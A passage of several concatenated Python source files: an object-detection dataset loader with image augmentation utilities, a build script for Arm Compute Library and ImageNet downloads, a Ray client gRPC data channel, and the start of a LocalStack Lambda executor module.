img = img[:, :, :, ::-1].transpose(0, 3, 1, 2) # BGR to RGB, to bsx3x416x416
img = np.ascontiguousarray(img)
return self.sources, img, img0, None
def __len__(self):
return 0 # 1E12 frames = 32 streams at 30 FPS for 30 years
class LoadImagesAndLabels(Dataset): # for training/testing
def __init__(self, path, img_size=640, batch_size=16, augment=False, hyp=None, rect=False, image_weights=False,
cache_images=False, single_cls=False, stride=32, pad=0.0):
try:
f = [] # image files
for p in path if isinstance(path, list) else [path]:
p = str(Path(p)) # os-agnostic
parent = str(Path(p).parent) + os.sep
if os.path.isfile(p): # file
with open(p, 'r') as t:
t = t.read().splitlines()
f += [x.replace('./', parent) if x.startswith('./') else x for x in t] # local to global path
elif os.path.isdir(p): # folder
f += glob.iglob(p + os.sep + '*.*')
else:
raise Exception('%s does not exist' % p)
self.img_files = sorted(
[x.replace('/', os.sep) for x in f if os.path.splitext(x)[-1].lower() in img_formats])
except Exception as e:
raise Exception('Error loading data from %s: %s\nSee %s' % (path, e, help_url))
n = len(self.img_files)
assert n > 0, 'No images found in %s. See %s' % (path, help_url)
bi = np.floor(np.arange(n) / batch_size).astype(np.int) # batch index
nb = bi[-1] + 1 # number of batches
self.n = n # number of images
self.batch = bi # batch index of image
self.img_size = img_size
self.augment = augment
self.hyp = hyp
self.image_weights = image_weights
self.rect = False if image_weights else rect
self.mosaic = self.augment and not self.rect # load 4 images at a time into a mosaic (only during training)
self.mosaic_border = [-img_size // 2, -img_size // 2]
self.stride = stride
# Define labels
self.label_files = [x.replace('images', 'labels').replace(os.path.splitext(x)[-1], '.txt') for x in
self.img_files]
# Check cache
cache_path = str(Path(self.label_files[0]).parent) + '.cache' # cached labels
if os.path.isfile(cache_path):
cache = np.load(cache_path, allow_pickle=True)
if cache['hash'] != get_hash(self.label_files + self.img_files): # dataset changed
cache = self.cache_labels(cache_path) # re-cache
else:
cache = self.cache_labels(cache_path) # cache
# Get labels
labels, shapes = zip(*[cache[x] for x in self.img_files])
self.shapes = np.array(shapes, dtype=np.float64)
self.labels = list(labels)
# Rectangular Training https://github.com/ultralytics/yolov3/issues/232
if self.rect:
# Sort by aspect ratio
s = self.shapes # wh
ar = s[:, 1] / s[:, 0] # aspect ratio
irect = ar.argsort()
self.img_files = [self.img_files[i] for i in irect]
self.label_files = [self.label_files[i] for i in irect]
self.labels = [self.labels[i] for i in irect]
self.shapes = s[irect] # wh
ar = ar[irect]
# Set training image shapes
shapes = [[1, 1]] * nb
for i in range(nb):
ari = ar[bi == i]
mini, maxi = ari.min(), ari.max()
if maxi < 1:
shapes[i] = [maxi, 1]
elif mini > 1:
shapes[i] = [1, 1 / mini]
self.batch_shapes = np.ceil(np.array(shapes) * img_size / stride + pad).astype(np.int) * stride
# Cache labels
create_datasubset, extract_bounding_boxes, labels_loaded = False, False, False
nm, nf, ne, ns, nd = 0, 0, 0, 0, 0 # number missing, found, empty, datasubset, duplicate
pbar = tqdm(self.label_files)
for i, file in enumerate(pbar):
l = self.labels[i] # label
if l.shape[0]:
assert l.shape[1] == 5, '> 5 label columns: %s' % file
assert (l >= 0).all(), 'negative labels: %s' % file
assert (l[:, 1:] <= 1).all(), 'non-normalized or out of bounds coordinate labels: %s' % file
if np.unique(l, axis=0).shape[0] < l.shape[0]: # duplicate rows
nd += 1 # print('WARNING: duplicate rows in %s' % self.label_files[i]) # duplicate rows
if single_cls:
l[:, 0] = 0 # force dataset into single-class mode
self.labels[i] = l
nf += 1 # file found
# Create subdataset (a smaller dataset)
if create_datasubset and ns < 1E4:
if ns == 0:
create_folder(path='./datasubset')
os.makedirs('./datasubset/images')
exclude_classes = 43
if exclude_classes not in l[:, 0]:
ns += 1
# shutil.copy(src=self.img_files[i], dst='./datasubset/images/') # copy image
with open('./datasubset/images.txt', 'a') as f:
f.write(self.img_files[i] + '\n')
# Extract object detection boxes for a second stage classifier
if extract_bounding_boxes:
p = Path(self.img_files[i])
img = cv2.imread(str(p))
h, w = img.shape[:2]
for j, x in enumerate(l):
f = '%s%sclassifier%s%g_%g_%s' % (p.parent.parent, os.sep, os.sep, x[0], j, p.name)
if not os.path.exists(Path(f).parent):
os.makedirs(Path(f).parent) # make new output folder
b = x[1:] * [w, h, w, h] # box
b[2:] = b[2:].max() # rectangle to square
b[2:] = b[2:] * 1.3 + 30 # pad
b = xywh2xyxy(b.reshape(-1, 4)).ravel().astype(np.int)
b[[0, 2]] = np.clip(b[[0, 2]], 0, w) # clip boxes outside of image
b[[1, 3]] = np.clip(b[[1, 3]], 0, h)
assert cv2.imwrite(f, img[b[1]:b[3], b[0]:b[2]]), 'Failure extracting classifier boxes'
else:
ne += 1 # print('empty labels for image %s' % self.img_files[i]) # file empty
# os.system("rm '%s' '%s'" % (self.img_files[i], self.label_files[i])) # remove
pbar.desc = 'Scanning labels %s (%g found, %g missing, %g empty, %g duplicate, for %g images)' % (
cache_path, nf, nm, ne, nd, n)
if nf == 0:
s = 'WARNING: No labels found in %s. See %s' % (os.path.dirname(file) + os.sep, help_url)
print(s)
assert not augment, '%s. Can not train without labels.' % s
# Cache images into memory for faster training (WARNING: large datasets may exceed system RAM)
self.imgs = [None] * n
if cache_images:
gb = 0 # Gigabytes of cached images
pbar = tqdm(range(len(self.img_files)), desc='Caching images')
self.img_hw0, self.img_hw = [None] * n, [None] * n
for i in pbar: # max 10k images
self.imgs[i], self.img_hw0[i], self.img_hw[i] = load_image(self, i) # img, hw_original, hw_resized
gb += self.imgs[i].nbytes
pbar.desc = 'Caching images (%.1fGB)' % (gb / 1E9)
def cache_labels(self, path='labels.cache'):
# Cache dataset labels, check images and read shapes
x = {} # dict
pbar = tqdm(zip(self.img_files, self.label_files), desc='Scanning images', total=len(self.img_files))
for (img, label) in pbar:
try:
l = []
image = Image.open(img)
image.verify() # PIL verify
# _ = io.imread(img) # skimage verify (from skimage import io)
shape = exif_size(image) # image size
assert (shape[0] > 9) & (shape[1] > 9), 'image size <10 pixels'
if os.path.isfile(label):
with open(label, 'r') as f:
l = np.array([x.split() for x in f.read().splitlines()], dtype=np.float32) # labels
if len(l) == 0:
l = np.zeros((0, 5), dtype=np.float32)
x[img] = [l, shape]
except Exception as e:
x[img] = None
print('WARNING: %s: %s' % (img, e))
x['hash'] = get_hash(self.label_files + self.img_files)
with open(path, 'wb') as file:
pickle.dump(x, file)
return x
def __len__(self):
return len(self.img_files)
# def __iter__(self):
# self.count = -1
# print('ran dataset iter')
# #self.shuffled_vector = np.random.permutation(self.nF) if self.augment else np.arange(self.nF)
# return self
def __getitem__(self, index):
if self.image_weights:
index = self.indices[index]
hyp = self.hyp
if self.mosaic:
# Load mosaic
img, labels = load_mosaic(self, index)
shapes = None
# MixUp https://arxiv.org/pdf/1710.09412.pdf
if random.random() < hyp['mixup']:
img2, labels2 = load_mosaic(self, random.randint(0, len(self.labels) - 1))
r = np.random.beta(8.0, 8.0) # mixup ratio, alpha=beta=8.0
img = (img * r + img2 * (1 - r)).astype(np.uint8)
labels = np.concatenate((labels, labels2), 0)
else:
# Load image
img, (h0, w0), (h, w) = load_image(self, index)
# Letterbox
shape = self.batch_shapes[self.batch[index]] if self.rect else self.img_size # final letterboxed shape
img, ratio, pad = letterbox(img, shape, auto=False, scaleup=self.augment)
shapes = (h0, w0), ((h / h0, w / w0), pad) # for COCO mAP rescaling
# Load labels
labels = []
x = self.labels[index]
if x.size > 0:
# Normalized xywh to pixel xyxy format
labels = x.copy()
labels[:, 1] = ratio[0] * w * (x[:, 1] - x[:, 3] / 2) + pad[0] # pad width
labels[:, 2] = ratio[1] * h * (x[:, 2] - x[:, 4] / 2) + pad[1] # pad height
labels[:, 3] = ratio[0] * w * (x[:, 1] + x[:, 3] / 2) + pad[0]
labels[:, 4] = ratio[1] * h * (x[:, 2] + x[:, 4] / 2) + pad[1]
if self.augment:
# Augment imagespace
if not self.mosaic:
img, labels = random_perspective(img, labels,
degrees=hyp['degrees'],
translate=hyp['translate'],
scale=hyp['scale'],
shear=hyp['shear'],
perspective=hyp['perspective'])
# Augment colorspace
augment_hsv(img, hgain=hyp['hsv_h'], sgain=hyp['hsv_s'], vgain=hyp['hsv_v'])
# Apply cutouts
# if random.random() < 0.9:
# labels = cutout(img, labels)
nL = len(labels) # number of labels
if nL:
labels[:, 1:5] = xyxy2xywh(labels[:, 1:5]) # convert xyxy to xywh
labels[:, [2, 4]] /= img.shape[0] # normalized height 0-1
labels[:, [1, 3]] /= img.shape[1] # normalized width 0-1
if self.augment:
# flip up-down
if random.random() < hyp['flipud']:
img = np.flipud(img)
if nL:
labels[:, 2] = 1 - labels[:, 2]
# flip left-right
if random.random() < hyp['fliplr']:
img = np.fliplr(img)
if nL:
labels[:, 1] = 1 - labels[:, 1]
labels_out = np.zeros([nL, 6])
if nL:
labels_out[:, 1:] = labels
# Convert
img = img[:, :, ::-1].transpose(2, 0, 1) # BGR to RGB, to 3x416x416
img = np.ascontiguousarray(img)
return img, labels_out, self.img_files[index], shapes
@staticmethod
def collate_fn(batch):
img, label, path, shapes = zip(*batch) # transposed
for i, l in enumerate(label):
l[:, 0] = i # add target image index for build_targets()
return np.stack(img, 0), np.concatenate(label, 0), path, shapes
# Ancillary functions --------------------------------------------------------------------------------------------------
def load_image(self, index):
# loads 1 image from dataset, returns img, original hw, resized hw
img = self.imgs[index]
if img is None: # not cached
path = self.img_files[index]
img = cv2.imread(path) # BGR
assert img is not None, 'Image Not Found ' + path
h0, w0 = img.shape[:2] # orig hw
r = self.img_size / max(h0, w0) # resize image to img_size
if r != 1: # always resize down, only resize up if training with augmentation
interp = cv2.INTER_AREA if r < 1 and not self.augment else cv2.INTER_LINEAR
img = cv2.resize(img, (int(w0 * r), int(h0 * r)), interpolation=interp)
return img, (h0, w0), img.shape[:2] # img, hw_original, hw_resized
else:
return self.imgs[index], self.img_hw0[index], self.img_hw[index] # img, hw_original, hw_resized
def augment_hsv(img, hgain=0.5, sgain=0.5, vgain=0.5):
r = np.random.uniform(-1, 1, 3) * [hgain, sgain, vgain] + 1 # random gains
hue, sat, val = cv2.split(cv2.cvtColor(img, cv2.COLOR_BGR2HSV))
dtype = img.dtype # uint8
x = np.arange(0, 256, dtype=np.int16)
lut_hue = ((x * r[0]) % 180).astype(dtype)
lut_sat = np.clip(x * r[1], 0, 255).astype(dtype)
lut_val = np.clip(x * r[2], 0, 255).astype(dtype)
img_hsv = cv2.merge((cv2.LUT(hue, lut_hue), cv2.LUT(sat, lut_sat), cv2.LUT(val, lut_val))).astype(dtype)
cv2.cvtColor(img_hsv, cv2.COLOR_HSV2BGR, dst=img) # no return needed
# Histogram equalization
# if random.random() < 0.2:
# for i in range(3):
# img[:, :, i] = cv2.equalizeHist(img[:, :, i])
def load_mosaic(self, index):
# loads images in a mosaic
labels4 = []
s = self.img_size
yc, xc = s, s # mosaic center x, y
indices = [index] + [random.randint(0, len(self.labels) - 1) for _ in range(3)] # 3 additional image indices
for i, index in enumerate(indices):
# Load image
img, _, (h, w) = load_image(self, index)
# place img in img4
if i == 0: # top left
img4 = np.full((s * 2, s * 2, img.shape[2]), 114, dtype=np.uint8) # base image with 4 tiles
x1a, y1a, x2a, y2a = max(xc - w, 0), max(yc - h, 0), xc, yc # xmin, ymin, xmax, ymax (large image)
x1b, y1b, x2b, y2b = w - (x2a - x1a), h - (y2a - y1a), w, h # xmin, ymin, xmax, ymax (small image)
elif i == 1: # top right
x1a, y1a, x2a, y2a = xc, max(yc - h, 0), min(xc + w, s * 2), yc
x1b, y1b, x2b, y2b = 0, h - (y2a - y1a), min(w, x2a - x1a), h
elif i == 2: # bottom left
x1a, y1a, x2a, y2a = max(xc - w, 0), yc, xc, min(s * 2, yc + h)
x1b, y1b, x2b, y2b = w - (x2a - x1a), 0, max(xc, w), min(y2a - y1a, h)
elif i == 3: # bottom right
x1a, y1a, x2a, y2a = xc, yc, min(xc + w, s * 2), min(s * 2, yc + h)
x1b, y1b, x2b, y2b = 0, 0, min(w, x2a - x1a), min(y2a - y1a, h)
img4[y1a:y2a, x1a:x2a] = img[y1b:y2b, x1b:x2b] # img4[ymin:ymax, xmin:xmax]
padw = x1a - x1b
padh = y1a - y1b
# Labels
x = self.labels[index]
labels = x.copy()
if x.size > 0: # Normalized xywh to pixel xyxy format
labels[:, 1] = w * (x[:, 1] - x[:, 3] / 2) + padw
labels[:, 2] = h * (x[:, 2] - x[:, 4] / 2) + padh
labels[:, 3] = w * (x[:, 1] + x[:, 3] / 2) + padw
labels[:, 4] = h * (x[:, 2] + x[:, 4] / 2) + padh
labels4.append(labels)
# Concat/clip labels
if len(labels4):
labels4 = np.concatenate(labels4, 0)
# np.clip(labels4[:, 1:] - s / 2, 0, s, out=labels4[:, 1:]) # use with center crop
np.clip(labels4[:, 1:], 0, 2 * s, out=labels4[:, 1:]) # use with random_affine
# Replicate
# img4, labels4 = replicate(img4, labels4)
# Augment
# img4 = img4[s // 2: int(s * 1.5), s // 2:int(s * 1.5)] # center crop (WARNING, requires box pruning)
img4, labels4 = random_perspective(img4, labels4,
degrees=self.hyp['degrees'],
translate=self.hyp['translate'],
scale=self.hyp['scale'],
shear=self.hyp['shear'],
perspective=self.hyp['perspective'],
border=self.mosaic_border) # border to remove
return img4, labels4
def replicate(img, labels):
# Replicate labels
h, w = img.shape[:2]
boxes = labels[:, 1:].astype(int)
x1, y1, x2, y2 = boxes.T
s = ((x2 - x1) + (y2 - y1)) / 2 # side length (pixels)
for i in s.argsort()[:round(s.size * 0.5)]: # smallest indices
x1b, y1b, x2b, y2b = boxes[i]
bh, bw = y2b - y1b, x2b - x1b
yc, xc = int(random.uniform(0, h - bh)), int(random.uniform(0, w - bw)) # offset x, y
x1a, y1a, x2a, y2a = [xc, yc, xc + bw, yc + bh]
img[y1a:y2a, x1a:x2a] = img[y1b:y2b, x1b:x2b] # img4[ymin:ymax, xmin:xmax]
labels = np.append(labels, [[labels[i, 0], x1a, y1a, x2a, y2a]], axis=0)
return img, labels
def letterbox(img, new_shape=(640, 640), color=(114, 114, 114), auto=True, scaleFill=False, scaleup=True):
# Resize image to a 32-pixel-multiple rectangle https://github.com/ultralytics/yolov3/issues/232
shape = img.shape[:2] # current shape [height, width]
if isinstance(new_shape, int):
new_shape = (new_shape, new_shape)
# Scale ratio (new / old)
r = min(new_shape[0] / shape[0], new_shape[1] / shape[1])
if not scaleup: # only scale down, do not scale up (for better test mAP)
r = min(r, 1.0)
# Compute padding
ratio = r, r # width, height ratios
new_unpad = int(round(shape[1] * r)), int(round(shape[0] * r))
dw, dh = new_shape[1] - new_unpad[0], new_shape[0] - new_unpad[1] # wh padding
if auto: # minimum rectangle
dw, dh = np.mod(dw, 128), np.mod(dh, 128) # wh padding
elif scaleFill: # stretch
dw, dh = 0.0, 0.0
new_unpad = (new_shape[1], new_shape[0])
ratio = new_shape[1] / shape[1], new_shape[0] / shape[0] # width, height ratios
dw /= 2 # divide padding into 2 sides
dh /= 2
if shape[::-1] != new_unpad: # resize
img = cv2.resize(img, new_unpad, interpolation=cv2.INTER_LINEAR)
top, bottom = int(round(dh - 0.1)), int(round(dh + 0.1))
left, right = int(round(dw - 0.1)), int(round(dw + 0.1))
img = cv2.copyMakeBorder(img, top, bottom, left, right, cv2.BORDER_CONSTANT, value=color) # add border
return img, ratio, (dw, dh)
def random_perspective(img, targets=(), degrees=10, translate=.1, scale=.1, shear=10, perspective=0.0, border=(0, 0)):
# torchvision.transforms.RandomAffine(degrees=(-10, 10), translate=(.1, .1), scale=(.9, 1.1), shear=(-10, 10))
# targets = [cls, xyxy]
height = img.shape[0] + border[0] * 2 # shape(h,w,c)
width = img.shape[1] + border[1] * 2
# Center
C = np.eye(3)
C[0, 2] = -img.shape[1] / 2 # x translation (pixels)
C[1, 2] = -img.shape[0] / 2 # y translation (pixels)
# Perspective
P = np.eye(3)
P[2, 0] = random.uniform(-perspective, perspective) # x perspective (about y)
P[2, 1] = random.uniform(-perspective, perspective) # y perspective (about x)
# Rotation and Scale
R = np.eye(3)
a = random.uniform(-degrees, degrees)
# a += random.choice([-180, -90, 0, 90]) # add 90deg rotations to small rotations
s = random.uniform(1 - scale, 1 + scale)
# s = 2 ** random.uniform(-scale, scale)
R[:2] = cv2.getRotationMatrix2D(angle=a, center=(0, 0), scale=s)
# Shear
S = np.eye(3)
S[0, 1] = math.tan(random.uniform(-shear, shear) * math.pi / 180) # x shear (deg)
S[1, 0] = math.tan(random.uniform(-shear, shear) * math.pi / 180) # y shear (deg)
# Translation
T = np.eye(3)
T[0, 2] = random.uniform(0.5 - translate, 0.5 + translate) * width # x translation (pixels)
T[1, 2] = random.uniform(0.5 - translate, 0.5 + translate) * height # y translation (pixels)
# Combined rotation matrix
M = T @ S @ R @ P @ C # order of operations (right to left) is IMPORTANT
if (border[0] != 0) or (border[1] != 0) or (M != np.eye(3)).any(): # image changed
if perspective:
img = cv2.warpPerspective(img, M, dsize=(width, height), borderValue=(114, 114, 114))
else: # affine
img = cv2.warpAffine(img, M[:2], dsize=(width, height), borderValue=(114, 114, 114))
# Visualize
# import matplotlib.pyplot as plt
# ax = plt.subplots(1, 2, figsize=(12, 6))[1].ravel()
# ax[0].imshow(img[:, :, ::-1]) # base
# ax[1].imshow(img2[:, :, ::-1]) # warped
# Transform label coordinates
n = len(targets)
if n:
# warp points
xy = np.ones((n * 4, 3))
xy[:, :2] = targets[:, [1, 2, 3, 4, 1, 4, 3, 2]].reshape(n * 4, 2) # x1y1, x2y2, x1y2, x2y1
xy = xy @ M.T # transform
if perspective:
xy = (xy[:, :2] / xy[:, 2:3]).reshape(n, 8) # rescale
else: # affine
xy = xy[:, :2].reshape(n, 8)
# create new boxes
x = xy[:, [0, 2, 4, 6]]
y = xy[:, [1, 3, 5, 7]]
xy = np.concatenate((x.min(1), y.min(1), x.max(1), y.max(1))).reshape(4, n).T
# # apply angle-based reduction of bounding boxes
# radians = a * math.pi / 180
# reduction = max(abs(math.sin(radians)), abs(math.cos(radians))) ** 0.5
# x = (xy[:, 2] + xy[:, 0]) / 2
# y = (xy[:, 3] + xy[:, 1]) / 2
# w = (xy[:, 2] - xy[:, 0]) * reduction
# h = (xy[:, 3] - xy[:, 1]) * reduction
# xy = np.concatenate((x - w / 2, y - h / 2, x + w / 2, y + h / 2)).reshape(4, n).T
# clip boxes
xy[:, [0, 2]] = xy[:, [0, 2]].clip(0, width)
xy[:, [1, 3]] = xy[:, [1, 3]].clip(0, height)
# filter candidates
i = box_candidates(box1=targets[:, 1:5].T * s, box2=xy.T)
targets = targets[i]
targets[:, 1:5] = xy[i]
return img, targets
def box_candidates(box1, box2, wh_thr=2, ar_thr=20, area_thr=0.2): # box1(4,n), box2(4,n)
# Compute candidate boxes: box1 before augment, box2 after augment, wh_thr (pixels), aspect_ratio_thr, area_ratio
w1, h1 = box1[2] - box1[0], box1[3] - box1[1]
w2, h2 = box2[2] - box2[0], box2[3] - box2[1]
ar = np.maximum(w2 / (h2 + 1e-16), h2 / (w2 + 1e-16)) # aspect ratio
return (w2 > wh_thr) & (h2 > wh_thr) & (w2 * h2 / (w1 * h1 + 1e-16) > area_thr) & (ar < ar_thr) # candidates
def cutout(image, labels):
# Applies image cutout augmentation https://arxiv.org/abs/1708.04552
h, w = image.shape[:2]
def bbox_ioa(box1, box2):
# Returns the intersection over box2 area given box1, box2. box1 is 4, box2 is nx4. boxes are x1y1x2y2
box2 = box2.transpose()
# Get the coordinates of bounding boxes
b1_x1, b1_y1, b1_x2, b1_y2 = box1[0], box1[1], box1[2], box1[3]
b2_x1, b2_y1, b2_x2, b2_y2 = box2[0], box2[1], box2[2], box2[3]
# Intersection area
inter_area = (np.minimum(b1_x2, b2_x2) - np.maximum(b1_x1, b2_x1)).clip(0) * \
(np.minimum(b1_y2, b2_y2) - np.maximum(b1_y1, b2_y1)).clip(0)
# box2 area
box2_area = (b2_x2 - b2_x1) * (b2_y2 - b2_y1) + 1e-16
# Intersection over box2 area
return inter_area / box2_area
# create random masks
scales = [0.5] * 1 + [0.25] * 2 + [0.125] * 4 + [0.0625] * 8 + [0.03125] * 16 # image size fraction
for s in scales:
mask_h = random.randint(1, int(h * s))
mask_w = random.randint(1, int(w * s))
# box
xmin = max(0, random.randint(0, w) - mask_w // 2)
ymin = max(0, random.randint(0, h) - mask_h // 2)
xmax = min(w, xmin + mask_w)
ymax = min(h, ymin + mask_h)
# apply random color mask
image[ymin:ymax, xmin:xmax] = [random.randint(64, 191) for _ in range(3)]
# return unobscured labels
if len(labels) and s > 0.03:
box = np.array([xmin, ymin, xmax, ymax], dtype=np.float32)
ioa = bbox_ioa(box, labels[:, 1:5]) # intersection over area
labels = labels[ioa < 0.60] # remove >60% obscured labels
return labels
def reduce_img_size(path='path/images', img_size=1024): # from utils.datasets import *; reduce_img_size()
# creates a new ./images_reduced folder with reduced size images of maximum size img_size
path_new = path + '_reduced' # reduced images path
create_folder(path_new)
for f in tqdm(glob.glob('%s/*.*' % path)):
try:
img = cv2.imread(f)
h, w = img.shape[:2]
r = img_size / max(h, w) # size ratio
if r < 1.0:
img = cv2.resize(img, (int(w * r), int(h * r)), interpolation=cv2.INTER_AREA) # _LINEAR fastest
fnew = f.replace(path, path_new) # .replace(Path(f).suffix, '.jpg')
cv2.imwrite(fnew, img)
except:
print('WARNING: image failure %s' % f)
def recursive_dataset2bmp(dataset='path/dataset_bmp'): # from utils.datasets import *; recursive_dataset2bmp()
# Converts dataset to bmp (for faster training)
formats = [x.lower() for x in img_formats] + [x.upper() for x in img_formats]
for a, b, files in os.walk(dataset):
for file in tqdm(files, desc=a):
p = a + '/' + file
s = Path(file).suffix
if s == '.txt': # replace text
with open(p, 'r') as f:
lines = f.read()
for f in formats:
lines = lines.replace(f, '.bmp')
with open(p, 'w') as f:
f.write(lines)
elif s in formats: # replace image
cv2.imwrite(p.replace(s, '.bmp'), cv2.imread(p))
if s != '.bmp':
os.system("rm '%s'" % p)
def imagelist2folder(path='path/images.txt'): # from utils.datasets import *; imagelist2folder()
# Copies all the images in a text file (list of images) into a folder
create_folder(path[:-4])
with open(path, 'r') as f:
for line in f.read().splitlines():
os.system('cp "%s" %s' % (line, path[:-4]))
print(line)
def create_folder(path='./new'):
# Create folder
if os.path.exists(path):
shutil.rmtree(path) # delete output folder
os.makedirs(path) # make new output folder
|
build.py
|
#!/usr/bin/env python3
import argparse
import multiprocessing
import os
import sys
args = None
WORKSPACE_DIR = os.getcwd()
def install_dependencies():
print("Installing apt packages (Debian/Ubuntu)...")
os.system("sudo apt install g++-aarch64-linux-gnu wget scons caffe python3-caffe")
print("Installing requirements...")
os.system(f"{sys.executable} -m pip install -r requirements.txt")
def build_compute_library():
print("Building ComputeLibrary")
os.chdir("ComputeLibrary")
os.system('scons Werror=1 debug=0 asserts=0 neon=1 opencl=1 embed_kernels=1 extra_cxx_flags="-fPIC" internal_only=0 arch=arm64-v8a -j`nproc --all`')
os.chdir(WORKSPACE_DIR)
def download_images():
if os.path.isdir(os.path.join(WORKSPACE_DIR, "imagenet")):
print("Images are already downloaded!")
return
print("Downloading images...", flush=True)
os.mkdir("imagenet")
os.chdir("imagenet")
os.system(
"wget http://www.image-net.org/challenges/LSVRC/2012/dd31405981ef5f776aa17412e1f0c112/ILSVRC2012_img_train_t3.tar -q")
print("Unpacking images...")
os.system("tar xf ILSVRC2012_img_train_t3.tar")
os.system("rm ILSVRC2012_img_train_t3.tar")
os.system("tar xf *.tar")
os.system("find -name '*.tar' -exec tar xf {} \;")
os.system("rm *.tar")
os.chdir(WORKSPACE_DIR)
def download_assets():
if os.path.isdir("alexnet_assets"):
return
print("Downloading assets...")
os.mkdir("alexnet_assets")
os.chdir("alexnet_assets")
os.system(
"wget https://developer.arm.com//-/media/Arm%20Developer%20Community/Images/Tutorial%20Guide%20Diagrams%20and%20Screenshots/Machine%20Learning/Running%20AlexNet%20on%20Pi%20with%20Compute%20Library/compute_library_alexnet.zip?revision=c1a232fa-f328-451f-9bd6-250b83511e01 -O compute_library_alexnet.zip -q")
print("Unpacking assets...")
os.system("unzip compute_library_alexnet.zip")
os.system("rm compute_library_alexnet.zip")
os.chdir(WORKSPACE_DIR)
def main():
global args
parser = argparse.ArgumentParser()
parser.add_argument("-d", "--dependencies", action="store_true", help="Install dependencies")
args = parser.parse_args()
if args.dependencies:
install_dependencies()
os.system("git submodule update --init --recursive")
dl_thread = multiprocessing.Process(target=download_images)
dl_thread.start()
build_compute_library()
print("Waiting for image downloading...", flush=True)
dl_thread.join()
download_assets()
if __name__ == "__main__":
main()
|
dataclient.py
|
"""This file implements a threaded stream controller to abstract a data stream
back to the ray clientserver.
"""
import logging
import queue
import threading
import grpc
from typing import Any
from typing import Dict
import ray.core.generated.ray_client_pb2 as ray_client_pb2
import ray.core.generated.ray_client_pb2_grpc as ray_client_pb2_grpc
logger = logging.getLogger(__name__)
# The maximum field value for request_id -- which is also the maximum
# number of simultaneous in-flight requests.
INT32_MAX = (2**31) - 1
class DataClient:
def __init__(self, channel: "grpc._channel.Channel", client_id: str,
metadata: list):
"""Initializes a thread-safe datapath over a Ray Client gRPC channel.
Args:
channel: connected gRPC channel
client_id: the generated ID representing this client
metadata: metadata to pass to gRPC requests
"""
self.channel = channel
self.request_queue = queue.Queue()
self.data_thread = self._start_datathread()
self.ready_data: Dict[int, Any] = {}
self.cv = threading.Condition()
self._req_id = 0
self._client_id = client_id
self._metadata = metadata
self.data_thread.start()
def _next_id(self) -> int:
self._req_id += 1
if self._req_id > INT32_MAX:
self._req_id = 1
# Responses that aren't tracked (like opportunistic releases)
# have req_id=0, so make sure we never mint such an id.
assert self._req_id != 0
return self._req_id
def _start_datathread(self) -> threading.Thread:
return threading.Thread(target=self._data_main, args=(), daemon=True)
def _data_main(self) -> None:
stub = ray_client_pb2_grpc.RayletDataStreamerStub(self.channel)
resp_stream = stub.Datapath(
iter(self.request_queue.get, None),
metadata=[("client_id", self._client_id)] + self._metadata,
wait_for_ready=True)
try:
for response in resp_stream:
if response.req_id == 0:
# This is not being waited for.
logger.debug(f"Got unawaited response {response}")
continue
with self.cv:
self.ready_data[response.req_id] = response
self.cv.notify_all()
except grpc.RpcError as e:
if grpc.StatusCode.CANCELLED == e.code():
# Gracefully shutting down
logger.info("Cancelling data channel")
else:
logger.error(
f"Got Error from data channel -- shutting down: {e}")
raise e
def close(self) -> None:
if self.request_queue is not None:
self.request_queue.put(None)
if self.data_thread is not None:
self.data_thread.join()
def _blocking_send(self, req: ray_client_pb2.DataRequest
) -> ray_client_pb2.DataResponse:
req_id = self._next_id()
req.req_id = req_id
self.request_queue.put(req)
data = None
with self.cv:
self.cv.wait_for(lambda: req_id in self.ready_data)
data = self.ready_data[req_id]
del self.ready_data[req_id]
return data
def ConnectionInfo(self,
context=None) -> ray_client_pb2.ConnectionInfoResponse:
datareq = ray_client_pb2.DataRequest(
connection_info=ray_client_pb2.ConnectionInfoRequest())
resp = self._blocking_send(datareq)
return resp.connection_info
def GetObject(self, request: ray_client_pb2.GetRequest,
context=None) -> ray_client_pb2.GetResponse:
datareq = ray_client_pb2.DataRequest(get=request, )
resp = self._blocking_send(datareq)
return resp.get
def PutObject(self, request: ray_client_pb2.PutRequest,
context=None) -> ray_client_pb2.PutResponse:
datareq = ray_client_pb2.DataRequest(put=request, )
resp = self._blocking_send(datareq)
return resp.put
def ReleaseObject(self,
request: ray_client_pb2.ReleaseRequest,
context=None) -> None:
datareq = ray_client_pb2.DataRequest(release=request, )
self.request_queue.put(datareq)
|
lambda_executors.py
|
import os
import re
import sys
import glob
import json
import time
import logging
import threading
import subprocess
import six
import base64
from multiprocessing import Process, Queue
try:
from shlex import quote as cmd_quote
except ImportError:
from pipes import quote as cmd_quote # for Python 2.7
from localstack import config
from localstack.utils import bootstrap
from localstack.utils.aws import aws_stack
from localstack.utils.common import (
CaptureOutput, FuncThread, TMP_FILES, short_uid, save_file, rm_rf, in_docker,
to_str, to_bytes, run, cp_r, json_safe, get_free_tcp_port)
from localstack.services.install import INSTALL_PATH_LOCALSTACK_FAT_JAR
from localstack.utils.aws.dead_letter_queue import lambda_error_to_dead_letter_queue, sqs_error_to_dead_letter_queue
from localstack.utils.cloudwatch.cloudwatch_util import store_cloudwatch_logs, cloudwatched
# constants
LAMBDA_EXECUTOR_JAR = INSTALL_PATH_LOCALSTACK_FAT_JAR
LAMBDA_EXECUTOR_CLASS = 'cloud.localstack.LambdaExecutor'
EVENT_FILE_PATTERN = '%s/lambda.event.*.json' % config.TMP_FOLDER
LAMBDA_RUNTIME_PYTHON27 = 'python2.7'
LAMBDA_RUNTIME_PYTHON36 = 'python3.6'
LAMBDA_RUNTIME_PYTHON37 = 'python3.7'
LAMBDA_RUNTIME_PYTHON38 = 'python3.8'
LAMBDA_RUNTIME_NODEJS = 'nodejs'
LAMBDA_RUNTIME_NODEJS43 = 'nodejs4.3'
LAMBDA_RUNTIME_NODEJS610 = 'nodejs6.10'
LAMBDA_RUNTIME_NODEJS810 = 'nodejs8.10'
LAMBDA_RUNTIME_NODEJS10X = 'nodejs10.x'
LAMBDA_RUNTIME_NODEJS12X = 'nodejs12.x'
LAMBDA_RUNTIME_JAVA8 = 'java8'
LAMBDA_RUNTIME_JAVA11 = 'java11'
LAMBDA_RUNTIME_DOTNETCORE2 = 'dotnetcore2.0'
LAMBDA_RUNTIME_DOTNETCORE21 = 'dotnetcore2.1'
LAMBDA_RUNTIME_DOTNETCORE31 = 'dotnetcore3.1'
LAMBDA_RUNTIME_GOLANG = 'go1.x'
LAMBDA_RUNTIME_RUBY = 'ruby'
LAMBDA_RUNTIME_RUBY25 = 'ruby2.5'
LAMBDA_RUNTIME_PROVIDED = 'provided'
LAMBDA_SERVER_UNIQUE_PORTS = 500
LAMBDA_SERVER_PORT_OFFSET = 5000
